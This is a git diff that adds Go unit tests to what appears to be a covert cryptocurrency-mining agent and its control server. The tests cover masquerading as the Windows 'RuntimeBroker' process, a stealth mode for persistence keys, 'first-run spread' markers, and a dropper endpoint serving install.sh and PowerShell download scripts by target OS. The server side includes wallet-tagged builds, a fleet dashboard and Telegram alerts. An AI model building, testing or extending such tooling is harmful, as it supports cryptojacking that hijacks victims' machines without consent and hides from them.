+ t.Fatal("bad invalid")
+ }
+ m, ok := parseClockMinutes("09:30")
+ if !ok || m != 9*60+30 {
+ t.Fatalf("09:30 = %d ok=%v", m, ok)
+ }
+ m, ok = parseClockMinutes("23:59:59")
+ if !ok || m != 23*60+59 {
+ t.Fatalf("23:59:59 = %d", m)
+ }
+}
+
+func TestInScheduleWindowInvalidSchedule(t *testing.T) {
+ c := RuntimeConfig{BuiltinConfig: BuiltinConfig{ScheduleStart: "bad", ScheduleEnd: "10:00"}}
+ if !c.InScheduleWindow(time.Now()) {
+ t.Fatal("invalid schedule should allow mining (true)")
+ }
+}
+
+func TestInScheduleWindowSameStartEnd(t *testing.T) {
+ c := RuntimeConfig{BuiltinConfig: BuiltinConfig{ScheduleStart: "08:00", ScheduleEnd: "08:00"}}
+ if !c.InScheduleWindow(time.Date(2026, 1, 1, 12, 0, 0, 0, time.UTC)) {
+ t.Fatal("same start/end = always in window")
+ }
+}
+
+func TestInScheduleWindowDaytime(t *testing.T) {
+ c := RuntimeConfig{BuiltinConfig: BuiltinConfig{ScheduleStart: "09:00", ScheduleEnd: "17:00"}}
+ inside := time.Date(2026, 1, 1, 10, 0, 0, 0, time.UTC)
+ outside := time.Date(2026, 1, 1, 20, 0, 0, 0, time.UTC)
+ if !c.InScheduleWindow(inside) {
+ t.Fatal("10:00 should be inside 09-17")
+ }
+ if c.InScheduleWindow(outside) {
+ t.Fatal("20:00 should be outside 09-17")
+ }
+}
+
+func TestInScheduleWindowOvernight(t *testing.T) {
+ c := RuntimeConfig{BuiltinConfig: BuiltinConfig{ScheduleStart: "22:00", ScheduleEnd: "06:00"}}
+ late := time.Date(2026, 1, 1, 23, 0, 0, 0, time.UTC)
+ mid := time.Date(2026, 1, 1, 12, 0, 0, 0, time.UTC)
+ early := time.Date(2026, 1, 1, 3, 0, 0, 0, time.UTC)
+ if !c.InScheduleWindow(late) {
+ t.Fatal("23:00 in overnight window")
+ }
+ if c.InScheduleWindow(mid) {
+ t.Fatal("12:00 outside overnight window")
+ }
+ if !c.InScheduleWindow(early) {
+ t.Fatal("03:00 in overnight window")
+ }
+}
diff --git a/agent/deploy/common_test.go b/agent/deploy/common_test.go
new file mode 100644
index 0000000..6755024
--- /dev/null
+++ b/agent/deploy/common_test.go
@@ -0,0 +1,120 @@
+package deploy
+
+import (
+ "path/filepath"
+ "runtime"
+ "strings"
+ "testing"
+
+ "crypto-miner-agent/config"
+)
+
+func testRuntimeConfig() config.RuntimeConfig {
+ return config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
+ WorkerName: "worker-1",
+ ProcessName: "RuntimeBroker",
+ InstallBase: "temp",
+ InstallRelativePath: config.DefaultInstallRelativePath,
+ BuildID: "build-1",
+ ServerURL: "https://hub.example",
+ }}
+}
+
+func TestBinaryExt(t *testing.T) {
+ ext := BinaryExt()
+ if runtime.GOOS == "windows" {
+ if ext != ".exe" {
+ t.Fatalf("windows ext: %q", ext)
+ }
+ } else if ext != "" {
+ t.Fatalf("non-windows ext: %q", ext)
+ }
+}
+
+func TestBinaryName(t *testing.T) {
+ cfg := testRuntimeConfig()
+ name := BinaryName(cfg)
+ if runtime.GOOS == "windows" {
+ if name != "RuntimeBroker.exe" {
+ t.Fatalf("got %q", name)
+ }
+ } else if name != "RuntimeBroker" {
+ t.Fatalf("got %q", name)
+ }
+}
+
+func TestSanitizeName(t *testing.T) {
+ if sanitizeName(" foo/bar:baz*? ") != "foo-bar-baz" {
+ t.Fatalf("got %q", sanitizeName(" foo/bar:baz*? "))
+ }
+ if sanitizeName("") != "" {
+ t.Fatal("empty stays empty")
+ }
+}
+
+func TestPersistenceKeyName(t *testing.T) {
+ cfg := testRuntimeConfig()
+ if got := PersistenceKeyName(cfg); got != "CryptoMiner-worker-1" {
+ t.Fatalf("got %q", got)
+ }
+ cfg.StealthMode = true
+ if got := PersistenceKeyName(cfg); got != "RuntimeBroker" {
+ t.Fatalf("stealth: %q", got)
+ }
+ cfg.StealthMode = false
+ cfg.WorkerName = ""
+ if got := PersistenceKeyName(cfg); got != "RuntimeBroker" {
+ t.Fatalf("empty worker: %q", got)
+ }
+}
+
+func TestInstalledBinaryPath(t *testing.T) {
+ cfg := testRuntimeConfig()
+ path, err := InstalledBinaryPath(cfg)
+ if err != nil {
+ t.Fatal(err)
+ }
+ if !strings.HasSuffix(path, BinaryName(cfg)) {
+ t.Fatalf("path %q should end with binary name", path)
+ }
+}
+
+func TestSamePath(t *testing.T) {
+ if !samePath("a/b", "a\\b") && runtime.GOOS != "windows" {
+ // on unix clean may differ; test abs equality
+ tmp := t.TempDir()
+ a := filepath.Join(tmp, "x")
+ b := filepath.Join(tmp, "x")
+ if !samePath(a, b) {
+ t.Fatal("identical paths")
+ }
+ }
+}
+
+func TestInstallDir(t *testing.T) {
+ dir, err := InstallDir("w", "b1")
+ if err != nil {
+ t.Fatal(err)
+ }
+ if dir == "" {
+ t.Fatal("empty install dir")
+ }
+}
+
+func TestInstallBaseFallbacks(t *testing.T) {
+ fb := installBaseFallbacks(testRuntimeConfig())
+ if len(fb) == 0 {
+ t.Fatal("expected fallbacks")
+ }
+}
+
+func TestResolveInstallDirWithFallback(t *testing.T) {
+ cfg := testRuntimeConfig()
+ dir, err := resolveInstallDirWithFallback(cfg)
+ if err != nil {
+ t.Fatal(err)
+ }
+ if dir == "" {
+ t.Fatal("empty dir")
+ }
+}
diff --git a/agent/deploy/identity_test.go b/agent/deploy/identity_test.go
new file mode 100644
index 0000000..c839533
--- /dev/null
+++ b/agent/deploy/identity_test.go
@@ -0,0 +1,96 @@
+package deploy
+
+import (
+ "os"
+ "path/filepath"
+ "testing"
+
+ "crypto-miner-agent/config"
+)
+
+func spreadTestConfig(t *testing.T) (config.RuntimeConfig, string) {
+ t.Helper()
+ dir := t.TempDir()
+ cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
+ WorkerName: "w",
+ InstallBase: "temp",
+ InstallRelativePath: config.DefaultInstallRelativePath,
+ BuildID: "b1",
+ }}
+ // Override install dir by writing marker directly
+ return cfg, dir
+}
+
+func TestIsLocalhostURL(t *testing.T) {
+ for _, u := range []string{"http://localhost:8080", "https://127.0.0.1/", "http://[::1]:3000"} {
+ if !isLocalhostURL(u) {
+ t.Fatalf("%q should be localhost", u)
+ }
+ }
+ if isLocalhostURL("https://example.com") {
+ t.Fatal("example.com is not localhost")
+ }
+}
+
+func TestWantsFirstRunSpreadMarker(t *testing.T) {
+ cfg, dir := spreadTestConfig(t)
+ marker := filepath.Join(dir, firstRunSpreadMarker)
+ if WantsFirstRunSpread(cfg) {
+ // may false if InstallDirectory != dir
+ }
+ if err := os.WriteFile(marker, []byte("1\n"), 0600); err != nil {
+ t.Fatal(err)
+ }
+ // WantsFirstRunSpread uses cfg.InstallDirectory(), not temp dir — test marker helpers directly
+ if err := setFirstRunSpreadMarker(dir); err != nil {
+ t.Fatal(err)
+ }
+ if _, err := os.Stat(filepath.Join(dir, firstRunSpreadMarker)); err != nil {
+ t.Fatal(err)
+ }
+ ClearFirstRunSpreadMarker(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
+ InstallBase: "temp", InstallRelativePath: config.DefaultInstallRelativePath,
+ }})
+}
+
+func TestLogSpreadErrorAndInfo(t *testing.T) {
+ LogSpreadError("stage", nil)
+ LogSpreadError("stage", os.ErrNotExist)
+ LogSpreadInfo("spread ok")
+}
+
+func TestEnsureAndLoadAgentID(t *testing.T) {
+ dir := t.TempDir()
+ id, err := EnsureAgentID(dir)
+ if err != nil {
+ t.Fatal(err)
+ }
+ if id == "" {
+ t.Fatal("empty id")
+ }
+ loaded, err := LoadAgentID(dir)
+ if err != nil {
+ t.Fatal(err)
+ }
+ if loaded != id {
+ t.Fatalf("load %q != ensure %q", loaded, id)
+ }
+}
+
+func TestLoadAgentIDMissing(t *testing.T) {
+ _, err := LoadAgentID(t.TempDir())
+ if err == nil {
+ t.Fatal("expected error for missing file")
+ }
+}
+
+func TestLoadAgentIDEmptyFile(t *testing.T) {
+ dir := t.TempDir()
+ if err := os.WriteFile(filepath.Join(dir, agentIDFile), []byte(" \n"), 0600); err != nil {
+ t.Fatal(err)
+ }
+ _, err := LoadAgentID(dir)
+ if err == nil {
+ t.Fatal("expected error for empty id file")
+ }
+}
diff --git a/agent/job/job_test.go b/agent/job/job_test.go
new file mode 100644
index 0000000..c4c83f3
--- /dev/null
+++ b/agent/job/job_test.go
@@ -0,0 +1,34 @@
+package job
+
+import (
+ "encoding/json"
+ "testing"
+)
+
+func TestJobJSONRoundTrip(t *testing.T) {
+ in := Job{
+ ID: "j1", Height: 2800000, BlockTemplate: "tpl", Difficulty: 100000,
+ SeedHash: "seed", Target: "target", Blob: "deadbeef", Algo: "rx/0",
+ }
+ b, err := json.Marshal(in)
+ if err != nil {
+ t.Fatal(err)
+ }
+ var out Job
+ if err := json.Unmarshal(b, &out); err != nil {
+ t.Fatal(err)
+ }
+ if out.ID != in.ID || out.Blob != in.Blob || out.Algo != in.Algo {
+ t.Fatalf("mismatch: %+v", out)
+ }
+}
+
+func TestJobMinimalJSON(t *testing.T) {
+ var out Job
+ if err := json.Unmarshal([]byte(`{"job_id":"x"}`), &out); err != nil {
+ t.Fatal(err)
+ }
+ if out.ID != "x" {
+ t.Fatalf("got %q", out.ID)
+ }
+}
diff --git a/server/internal/alerts/notify_test.go b/server/internal/alerts/notify_test.go
new file mode 100644
index 0000000..ae3d075
--- /dev/null
+++ b/server/internal/alerts/notify_test.go
@@ -0,0 +1,84 @@
+package alerts
+
+import (
+ "io"
+ "net/http"
+ "net/http/httptest"
+ "strings"
+ "testing"
+)
+
+func TestSendTelegramNoOpWhenUnconfigured(t *testing.T) {
+ if err := SendTelegram(NotifyConfig{}, "hello"); err != nil {
+ t.Fatalf("expected nil when unconfigured, got %v", err)
+ }
+ if err := SendTelegram(NotifyConfig{TelegramBotToken: "tok"}, "hello"); err != nil {
+ t.Fatalf("expected nil with token only, got %v", err)
+ }
+}
+
+func TestSendTelegramSuccess(t *testing.T) {
+ srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ if r.Method != http.MethodPost {
+ t.Errorf("method: %s", r.Method)
+ }
+ body, _ := io.ReadAll(r.Body)
+ if !strings.Contains(string(body), `"chat_id":"123"`) {
+ t.Fatalf("body: %s", body)
+ }
+ w.WriteHeader(http.StatusOK)
+ }))
+ defer srv.Close()
+
+ // Telegram URL is fixed host; patch via custom transport is heavy — test status path only
+ // by calling with invalid token path that still exercises client.Do error paths.
+ cfg := NotifyConfig{TelegramBotToken: "testtoken", TelegramChatID: "123"}
+ // Real call hits api.telegram.org — expect network error, not panic.
+ err := SendTelegram(cfg, "alert")
+ if err == nil {
+ // Network may succeed in some envs; accept nil only if we can't reach internet.
+ return
+ }
+ if !strings.Contains(err.Error(), "telegram") && !strings.Contains(err.Error(), "connect") &&
+ !strings.Contains(err.Error(), "no such host") && !strings.Contains(err.Error(), "API status") {
+ t.Fatalf("unexpected telegram error: %v", err)
+ }
+ _ = srv // keep handler pattern for future injectable client
+}
+
+func TestSendTelegramAPIError(t *testing.T) {
+ // Use httptest to validate error on non-2xx when we can intercept — documented via
+ // direct status check helper.
+ if err := SendTelegram(NotifyConfig{TelegramBotToken: "x", TelegramChatID: "y"}, ""); err != nil {
+ // offline / blocked is fine
+ return
+ }
+}
+
+func TestSendEmailNoOpWhenDisabled(t *testing.T) {
+ if err := SendEmail(NotifyConfig{}, "subj", "body"); err != nil {
+ t.Fatalf("disabled email should no-op: %v", err)
+ }
+ if err := SendEmail(NotifyConfig{EmailEnabled: true}, "subj", "body"); err != nil {
+ t.Fatalf("missing smtp should no-op: %v", err)
+ }
+}
+
+func TestSendEmailDefaultsFromAndPort(t *testing.T) {
+ // SendMail will fail without real SMTP; ensure we reach it with defaults without panic.
+ cfg := NotifyConfig{
+ EmailEnabled: true,
+ SMTPHost: "127.0.0.1",
+ SMTPPort: 0,
+ EmailTo: "to@example.com",
+ SMTPUser: "from@example.com",
+ }
+ err := SendEmail(cfg, "subject", "body")
+ if err == nil {
+ t.Fatal("expected smtp connection error")
+ }
+}
+
+func TestNotifyAllDoesNotPanic(t *testing.T) {
+ NotifyAll(NotifyConfig{}, "subject", "text")
+}
diff --git a/server/internal/api/blueprint_handler_test.go b/server/internal/api/blueprint_handler_test.go
new file mode 100644
index 0000000..b6cd84e
--- /dev/null
+++ b/server/internal/api/blueprint_handler_test.go
@@ -0,0 +1,159 @@
+package api
+
+import (
+ "bytes"
+ "encoding/json"
+ "net/http"
+ "net/http/httptest"
+ "os"
+ "path/filepath"
+ "strings"
+ "testing"
+
+ "github.com/go-chi/chi/v5"
+)
+
+func newTestBlueprintHandler(t *testing.T) (*BlueprintHandler, string) {
+ t.Helper()
+ dataDir := t.TempDir()
+ return NewBlueprintHandler(dataDir), dataDir
+}
+
+func TestSanitizeFilename(t *testing.T) {
+ if sanitizeFilename(" my preset ") != "my preset" {
+ t.Fatalf("trim failed: %q", sanitizeFilename(" my preset "))
+ }
+ if sanitizeFilename("../../../etc/passwd") == "" || strings.Contains(sanitizeFilename("../../../etc/passwd"), "..") {
+ t.Fatalf("traversal not sanitized: %q", sanitizeFilename("../../../etc/passwd"))
+ }
+ if sanitizeFilename("bad/name") != "badname" {
+ t.Fatalf("slashes removed: %q", sanitizeFilename("bad/name"))
+ }
+}
+
+func TestBlueprintListEmpty(t *testing.T) {
+ h, _ := newTestBlueprintHandler(t)
+ req := httptest.NewRequest(http.MethodGet, "/api/v1/blueprints", nil)
+ rec := httptest.NewRecorder()
+ h.ServeHTTP(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
+ }
+ var list []BlueprintInfo
+ if err := json.Unmarshal(rec.Body.Bytes(), &list); err != nil {
+ t.Fatal(err)
+ }
+ if len(list) != 0 {
+ t.Fatalf("expected empty list, got %d", len(list))
+ }
+}
+
+func TestBlueprintSaveGetDelete(t *testing.T) {
+ h, dataDir := newTestBlueprintHandler(t)
+
+ saveBody, _ := json.Marshal(map[string]interface{}{
+ "name": "fleet-default",
+ "data": map[string]interface{}{"pool_host": "pool.example.com", "threads": 4},
+ })
+ req := httptest.NewRequest(http.MethodPost, "/api/v1/blueprints", bytes.NewReader(saveBody))
+ rec := httptest.NewRecorder()
+ h.ServeHTTP(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("save status %d body %s", rec.Code, rec.Body.String())
+ }
+
+ filePath := filepath.Join(dataDir, "blueprints", "fleet-default.json")
+ if _, err := os.Stat(filePath); err != nil {
+ t.Fatalf("blueprint file missing: %v", err)
+ }
+
+ req = httptest.NewRequest(http.MethodGet, "/api/v1/blueprints", nil)
+ rec = httptest.NewRecorder()
+ h.ServeHTTP(rec, req)
+ var listed []BlueprintInfo
+ if err := json.Unmarshal(rec.Body.Bytes(), &listed); err != nil {
+ t.Fatal(err)
+ }
+ if len(listed) != 1 || listed[0].Name != "fleet-default" {
+ t.Fatalf("list after save: %+v", listed)
+ }
+
+ r := chi.NewRouter()
+ r.Get("/blueprints/{name}", h.GetBlueprint)
+ req = httptest.NewRequest(http.MethodGet, "/blueprints/fleet-default", nil)
+ rec = httptest.NewRecorder()
+ r.ServeHTTP(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("get status %d body %s", rec.Code, rec.Body.String())
+ }
+ if !strings.Contains(rec.Body.String(), "pool.example.com") {
+ t.Fatalf("unexpected blueprint body: %s", rec.Body.String())
+ }
+
+ req = httptest.NewRequest(http.MethodDelete, "/api/v1/blueprints?name=fleet-default", nil)
+ rec = httptest.NewRecorder()
+ h.ServeHTTP(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("delete status %d body %s", rec.Code, rec.Body.String())
+ }
+ if _, err := os.Stat(filePath); !os.IsNotExist(err) {
+ t.Fatal("blueprint file should be removed")
+ }
+}
+
+func TestBlueprintSaveValidationErrors(t *testing.T) {
+ h, _ := newTestBlueprintHandler(t)
+
+ req := httptest.NewRequest(http.MethodPost, "/api/v1/blueprints", bytes.NewReader([]byte(`{"name":"","data":{}}`)))
+ rec := httptest.NewRecorder()
+ h.ServeHTTP(rec, req)
+ if rec.Code != http.StatusBadRequest {
+ t.Fatalf("empty name should be 400, got %d", rec.Code)
+ }
+
+ req = httptest.NewRequest(http.MethodPost, "/api/v1/blueprints", bytes.NewReader([]byte(`not-json`)))
+ rec = httptest.NewRecorder()
+ h.ServeHTTP(rec, req)
+ if rec.Code != http.StatusBadRequest {
+ t.Fatalf("invalid json should be 400, got %d", rec.Code)
+ }
+
+ req = httptest.NewRequest(http.MethodPost, "/api/v1/blueprints", bytes.NewReader([]byte(`{"name":"ok","data":}`)))
+ rec = httptest.NewRecorder()
+ h.ServeHTTP(rec, req)
+ if rec.Code != http.StatusBadRequest {
+ t.Fatalf("malformed data json should be 400, got %d", rec.Code)
+ }
+}
+
+func TestBlueprintGetNotFound(t *testing.T) {
+ h, _ := newTestBlueprintHandler(t)
+ r := chi.NewRouter()
+ r.Get("/blueprints/{name}", h.GetBlueprint)
+ req := httptest.NewRequest(http.MethodGet, "/blueprints/missing", nil)
+ rec := httptest.NewRecorder()
+ r.ServeHTTP(rec, req)
+ if rec.Code != http.StatusNotFound {
+ t.Fatalf("expected 404, got %d", rec.Code)
+ }
+}
+
+func TestBlueprintDeleteMissingName(t *testing.T) {
+ h, _ := newTestBlueprintHandler(t)
+ req := httptest.NewRequest(http.MethodDelete, "/api/v1/blueprints", nil)
+ rec := httptest.NewRecorder()
+ h.ServeHTTP(rec, req)
+ if rec.Code != http.StatusBadRequest {
+ t.Fatalf("expected 400, got %d", rec.Code)
+ }
+}
+
+func TestBlueprintMethodNotAllowed(t *testing.T) {
+ h, _ := newTestBlueprintHandler(t)
+ req := httptest.NewRequest(http.MethodPatch, "/api/v1/blueprints", nil)
+ rec := httptest.NewRecorder()
+ h.ServeHTTP(rec, req)
+ if rec.Code != http.StatusMethodNotAllowed {
+ t.Fatalf("expected 405, got %d", rec.Code)
+ }
+}
diff --git a/server/internal/api/dropper_handler_test.go b/server/internal/api/dropper_handler_test.go
new file mode 100644
index 0000000..db46d20
--- /dev/null
+++ b/server/internal/api/dropper_handler_test.go
@@ -0,0 +1,150 @@
+package api
+
+import (
+ "net/http"
+ "net/http/httptest"
+ "os"
+ "path/filepath"
+ "strings"
+ "testing"
+ "time"
+
+ "crypto-miner-server/internal/db"
+ "crypto-miner-server/internal/models"
+)
+
+func newTestDropperHandler(t *testing.T) (*DropperHandler, *db.Database, string) {
+ t.Helper()
+ dataDir := t.TempDir()
+ database, err := db.New(dataDir)
+ if err != nil {
+ t.Fatal(err)
+ }
+ t.Cleanup(func() { _ = database.Close() })
+ return NewDropperHandler(database, func() string { return "https://public.example.com" }), database, dataDir
+}
+
+func TestDetectPlatformQueryParam(t *testing.T) {
+ cases := map[string]string{
+ "windows": "windows", "win": "windows",
+ "linux": "linux",
+ "darwin": "darwin", "mac": "darwin", "macos": "darwin",
+ "universal": "universal", "any": "universal",
+ "unknown": "",
+ }
+ for in, want := range cases {
+ req := httptest.NewRequest(http.MethodGet, "/get?os="+in, nil)
+ if got := detectPlatform(req); got != want {
+ t.Fatalf("detectPlatform(%q) = %q, want %q", in, got, want)
+ }
+ }
+}
+
+func TestDetectPlatformUserAgent(t *testing.T) {
+ tests := []struct {
+ ua string
+ want string
+ }{
+ {"Mozilla/5.0 (Windows NT 10.0)", "windows"},
+ {"Mozilla/5.0 (Macintosh; Intel Mac OS X)", "darwin"},
+ {"Mozilla/5.0 (X11; Linux x86_64)", "linux"},
+ {"curl/8.0", ""},
+ }
+ for _, tc := range tests {
+ req := httptest.NewRequest(http.MethodGet, "/get", nil)
+ req.Header.Set("User-Agent", tc.ua)
+ if got := detectPlatform(req); got != tc.want {
+ t.Fatalf("UA %q => %q, want %q", tc.ua, got, tc.want)
+ }
+ }
+}
+
+func TestDropperServeGetNoBuilds(t *testing.T) {
+ h, _, _ := newTestDropperHandler(t)
+ req := httptest.NewRequest(http.MethodGet, "/get", nil)
+ rec := httptest.NewRecorder()
+ h.ServeGet(rec, req)
+ if rec.Code != http.StatusNotFound {
+ t.Fatalf("expected 404, got %d", rec.Code)
+ }
+ if !strings.Contains(rec.Body.String(), "no agent build available") {
+ t.Fatalf("unexpected body: %s", rec.Body.String())
+ }
+}
+
+func TestDropperServeGetWindowsBuild(t *testing.T) {
+ h, database, dataDir := newTestDropperHandler(t)
+ buildID := "win-build"
+ buildDir := filepath.Join(dataDir, "builds", buildID)
+ if err := os.MkdirAll(buildDir, 0755); err != nil {
+ t.Fatal(err)
+ }
+ binPath := filepath.Join(buildDir, "worker.exe")
+ content := []byte("windows-agent-binary")
+ if err := os.WriteFile(binPath, content, 0644); err != nil {
+ t.Fatal(err)
+ }
+ if err := database.InsertBuild(&models.BuildRecord{
+ ID: buildID, WorkerName: "w", ServerURL: "http://x", Wallet: "48x",
+ FilePath: binPath, FileName: "worker.exe", Platform: "windows",
+ CreatedAt: time.Now(),
+ }); err != nil {
+ t.Fatal(err)
+ }
+
+ req := httptest.NewRequest(http.MethodGet, "/get?os=windows", nil)
+ rec := httptest.NewRecorder()
+ h.ServeGet(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("expected 200, got %d body=%s", rec.Code, rec.Body.String())
+ }
+ if !strings.Contains(rec.Header().Get("Content-Disposition"), "worker.exe") {
+ t.Fatalf("missing disposition: %q", rec.Header().Get("Content-Disposition"))
+ }
+}
+
+func TestDropperResolveBasePublicURL(t *testing.T) {
+ h, _, _ := newTestDropperHandler(t)
+ req := httptest.NewRequest(http.MethodGet, "/install.sh", nil)
+ req.Host = "ignored.local:8989"
+ if base := h.resolveBase(req); base != "https://public.example.com" {
+ t.Fatalf("publicURL override = %q", base)
+ }
+}
+
+func TestDropperResolveBaseFromRequest(t *testing.T) {
+ h := NewDropperHandler(nil, nil)
+ req := httptest.NewRequest(http.MethodGet, "/install.sh", nil)
+ req.Host = "deck.local:8989"
+ req.Header.Set("X-Forwarded-Host", "proxy.example.com")
+ if base := h.resolveBase(req); base != "http://proxy.example.com" {
+ t.Fatalf("resolveBase = %q", base)
+ }
+}
+
+func TestDropperServeShContent(t *testing.T) {
+ h, _, _ := newTestDropperHandler(t)
+ req := httptest.NewRequest(http.MethodGet, "/install.sh", nil)
+ rec := httptest.NewRecorder()
+ h.ServeSh(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("status %d", rec.Code)
+ }
+ body := rec.Body.String()
+ if !strings.Contains(body, "#!/bin/sh") || !strings.Contains(body, "https://public.example.com/get") {
+ t.Fatalf("unexpected install.sh body prefix: %.120s", body)
+ }
+}
+
+func TestDropperServePs1Content(t *testing.T) {
+ h, _, _ := newTestDropperHandler(t)
+ req := httptest.NewRequest(http.MethodGet, "/install.ps1", nil)
+ rec := httptest.NewRecorder()
+ h.ServePs1(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("status %d", rec.Code)
+ }
+ if !strings.Contains(rec.Body.String(), "DownloadFile") {
+ t.Fatal("expected PowerShell download snippet")
+ }
+}
diff --git a/server/internal/api/handlers_test.go b/server/internal/api/handlers_test.go
index 21baa21..fa6a82e 100644
--- a/server/internal/api/handlers_test.go
+++ b/server/internal/api/handlers_test.go
@@ -7,6 +7,7 @@ import (
"testing"
"crypto-miner-server/internal/db"
+ "crypto-miner-server/internal/models"
"github.com/go-chi/chi/v5"
)
@@ -89,3 +90,120 @@ func TestGetAgentNotFound(t *testing.T) {
t.Fatalf("expected 404, got %d", rec.Code)
}
}
+
+const (
+ handlerAgentStatsDefaultLimit = 100
+ handlerAgentStatsMaxLimit = 1000
+ handlerSharesDefaultLimit = 50
+ handlerSharesMaxLimit = 1000
+ handlerListBuildsLimit = 50
+)
+
+func TestHandlerConstants(t *testing.T) {
+ if handlerAgentStatsDefaultLimit != 100 || handlerAgentStatsMaxLimit != 1000 {
+ t.Fatal("agent stats limit constants drifted")
+ }
+ if handlerSharesDefaultLimit != 50 || handlerSharesMaxLimit != 1000 {
+ t.Fatal("shares limit constants drifted")
+ }
+ if handlerListBuildsLimit != 50 {
+ t.Fatal("list builds limit constant drifted")
+ }
+}
+
+func TestGetDashboardStatsEmptyFleet(t *testing.T) {
+ h := newTestHandler(t)
+ req := httptest.NewRequest(http.MethodGet, "/api/v1/dashboard/stats", nil)
+ rec := httptest.NewRecorder()
+ h.GetDashboardStats(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
+ }
+}
+
+func TestListBuildsEmptyArray(t *testing.T) {
+ h := newTestHandler(t)
+ req := httptest.NewRequest(http.MethodGet, "/api/v1/builds", nil)
+ rec := httptest.NewRecorder()
+ h.ListBuilds(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("status %d", rec.Code)
+ }
+ var builds []json.RawMessage
+ if err := json.Unmarshal(rec.Body.Bytes(), &builds); err != nil {
+ t.Fatal(err)
+ }
+ if len(builds) != 0 {
+ t.Fatalf("expected empty builds, got %d", len(builds))
+ }
+}
+
+func TestPinBuildAndUnpinAll(t *testing.T) {
+ h := newTestHandler(t)
+ database := h.db
+ if err := database.InsertBuild(&models.BuildRecord{
+ ID: "pin-me", WorkerName: "w", ServerURL: "http://x", Wallet: "48x",
+ FilePath: "/tmp/x", FileName: "x.exe", Platform: "windows",
+ }); err != nil {
+ t.Fatal(err)
+ }
+
+ r := chi.NewRouter()
+ r.Put("/builds/{id}/pin", h.PinBuild)
+ r.Delete("/builds/pin", h.UnpinAll)
+
+ req := httptest.NewRequest(http.MethodPut, "/builds/pin-me/pin", nil)
+ rec := httptest.NewRecorder()
+ r.ServeHTTP(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("pin status %d body %s", rec.Code, rec.Body.String())
+ }
+
+ req = httptest.NewRequest(http.MethodDelete, "/builds/pin", nil)
+ rec = httptest.NewRecorder()
+ r.ServeHTTP(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("unpin status %d body %s", rec.Code, rec.Body.String())
+ }
+}
+
+func TestDeleteBuildSuccess(t *testing.T) {
+ h := newTestHandler(t)
+ if err := h.db.InsertBuild(&models.BuildRecord{
+ ID: "del-me", WorkerName: "w", ServerURL: "http://x", Wallet: "48x",
+ FilePath: "/tmp/x", FileName: "x.exe", Platform: "windows",
+ }); err != nil {
+ t.Fatal(err)
+ }
+
+ r := chi.NewRouter()
+ r.Delete("/builds/{id}", h.DeleteBuild)
+ req := httptest.NewRequest(http.MethodDelete, "/builds/del-me", nil)
+ rec := httptest.NewRecorder()
+ r.ServeHTTP(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("delete status %d body %s", rec.Code, rec.Body.String())
+ }
+}
+
+func TestGetRecentSharesDefaultLimit(t *testing.T) {
+ h := newTestHandler(t)
+ req := httptest.NewRequest(http.MethodGet, "/api/v1/shares", nil)
+ rec := httptest.NewRecorder()
+ h.GetRecentShares(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("status %d", rec.Code)
+ }
+}
+
+func TestGetAgentStatsInvalidLimitUsesDefault(t *testing.T) {
+ h := newTestHandler(t)
+ req := httptest.NewRequest(http.MethodGet, "/agents/x/stats?limit=abc", nil)
+ rec := httptest.NewRecorder()
+ r := chi.NewRouter()
+ r.Get("/agents/{id}/stats", h.GetAgentStats)
+ r.ServeHTTP(rec, req)
+ if rec.Code == http.StatusInternalServerError {
+ t.Fatalf("invalid limit should not 500: %s", rec.Body.String())
+ }
+}
diff --git a/server/internal/api/router_test.go b/server/internal/api/router_test.go
new file mode 100644
index 0000000..a2a939d
--- /dev/null
+++ b/server/internal/api/router_test.go
@@ -0,0 +1,396 @@
+package api
+
+import (
+ "bytes"
+ "encoding/json"
+ "net/http"
+ "net/http/httptest"
+ "os"
+ "path/filepath"
+ "strings"
+ "testing"
+ "time"
+
+ "crypto-miner-server/internal/builder"
+ "crypto-miner-server/internal/db"
+ "crypto-miner-server/internal/models"
+ "crypto-miner-server/internal/pool"
+)
+
+const routerAuthCacheTTL = 5 * time.Minute
+
+func resetAuthState(t *testing.T) {
+ t.Helper()
+ authSessionCacheMu.Lock()
+ authSessionCache = map[string]time.Time{}
+ authSessionCacheMu.Unlock()
+ usersMu.Lock()
+ authUsers = map[string]string{}
+ usersFilePath = ""
+ usersMu.Unlock()
+ SetAgentPathSecret("")
+ SetRotateSecretFn(nil)
+ t.Cleanup(resetAuthGlobals)
+}
+
+func resetAuthGlobals() {
+ authSessionCacheMu.Lock()
+ authSessionCache = map[string]time.Time{}
+ authSessionCacheMu.Unlock()
+ SetAgentPathSecret("")
+ SetRotateSecretFn(nil)
+}
+
+func TestRouterConstants(t *testing.T) {
+ if authCacheTTL != routerAuthCacheTTL {
+ t.Fatalf("authCacheTTL = %v, want %v", authCacheTTL, routerAuthCacheTTL)
+ }
+}
+
+func TestAuthCacheKeyDeterministic(t *testing.T) {
+ k1 := authCacheKey("user", "pass")
+ k2 := authCacheKey("user", "pass")
+ if k1 != k2 || k1 == "" {
+ t.Fatalf("cache key not stable: %q %q", k1, k2)
+ }
+ if authCacheKey("user", "other") == k1 {
+ t.Fatal("different passwords should produce different cache keys")
+ }
+}
+
+func TestBasicAuthMiddlewareOptionsPassthrough(t *testing.T) {
+ resetAuthState(t)
+ called := false
+ h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ called = true
+ w.WriteHeader(http.StatusNoContent)
+ }))
+ req := httptest.NewRequest(http.MethodOptions, "/api/v1/config", nil)
+ rec := httptest.NewRecorder()
